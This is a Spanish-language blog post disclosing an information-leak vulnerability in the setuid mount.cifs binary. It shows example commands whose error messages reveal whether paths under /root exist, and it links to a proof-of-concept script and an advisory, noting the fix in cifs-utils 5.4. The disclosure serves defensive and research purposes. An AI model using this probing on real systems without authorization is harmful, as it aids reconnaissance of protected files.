Durante el wargame de la rootedcon 2012, además de participar, me dediqué a revisar un poco los sistemas.
Puesto que no tenía disponible el /proc/kallsyms, hacer ataques al kernel, supondría ir a ciegas, bruteforcear símbolos … , incluso posiblemente crashear el kernel.
De manera que me enfoqué sobretodo a revisar permisos, logs y binarios setuidados.
Mientras analizaba el binario mount.cifs, observé que ejecuta la syscall chdir() con privilegios de root del cual controlamos las entradas y obtenemos feedback de las salidas.
Esta vulnerabilidad está presente en un binario, que está setuidado en la mayoría de las distribuciones Linux por defecto.
Este binario nos ofrece 3 mensajes de respuesta, si preguntamos por un fichero inexistente:
[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/noexiste
Couldn’t chdir to /root/noexiste: No such file or directory
Un fichero existente:
[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/.bash_history
Couldn’t chdir to /root/.bash_history: Not a directory
y Un directorio existente:
[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/Desktop
mount.cifs: permission denied: no match for /root/Desktop found in /etc/fstab
Resumidamente las 3 respuestas son:
- Si existe el directorio -> “no match”
- Si existe el fichero -> “Not a directory”
- Si no existe -> “No such file or directory”
Este ataque puede ser automatizado con el script root_eye.sh que se encuentra al final de este post.
Veamos un ejemplo real, donde no hay acceso de lectura ni acceso a /root ni a sus ficheros ni subdirectorios.
Esto puede dar pistas a un hacker de por donde atacar, o que teclas “pulsear”
Actualmente se encuentra corregida la vulnerabilidad en la versión 5.4 de cifs-utils.
Exploit, prueba de concepto:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/root_eye1.txt
Security Advisory:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/2012-004.txt